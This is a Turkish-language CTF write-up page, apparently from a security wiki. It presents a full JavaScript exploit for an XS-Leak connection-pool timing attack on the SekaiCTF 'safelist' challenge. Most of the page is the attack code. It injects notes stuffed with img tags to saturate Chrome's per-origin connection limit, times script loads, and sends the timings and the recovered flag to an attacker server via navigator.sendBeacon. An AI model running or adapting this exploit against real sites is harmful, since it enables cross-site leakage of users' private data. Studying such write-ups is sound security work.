Connection Pool by Destination Example
Bu saldırıda, @terjanq aşağıdaki sayfada bahsedilen zorluk için başka bir çözüm önermektedir:
pageConnection Pool by Destination ExampleBu saldırının nasıl çalıştığına bakalım:
Saldırgan, 6'dan fazla orijini engellemek için
<img
etiketleriyle/js/purify.js
yükleyen bir not enjekte edecektir.Ardından, saldırgan 1 numaralı notu kaldıracaktır.
Daha sonra, saldırgan [botun sayfayı yüklemesini sağlayacak ve geriye kalan notu erişecektir] ve
victim.com/js/purify.js
adresine bir istek gönderecektir ve bunun süresini ölçecektir.Eğer süre daha uzunsa, enjeksiyon kalan notta bulunuyordu, eğer süre daha kısa ise bayrak oradaydı.
Doğrusu, betiği okurken saldırganın botun img etiketlerini tetiklemek için sayfayı yüklemesini sağladığı bir bölümü kaçırdım, kodda böyle bir şey görmüyorum.
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter}
+ Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>
).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
Last updated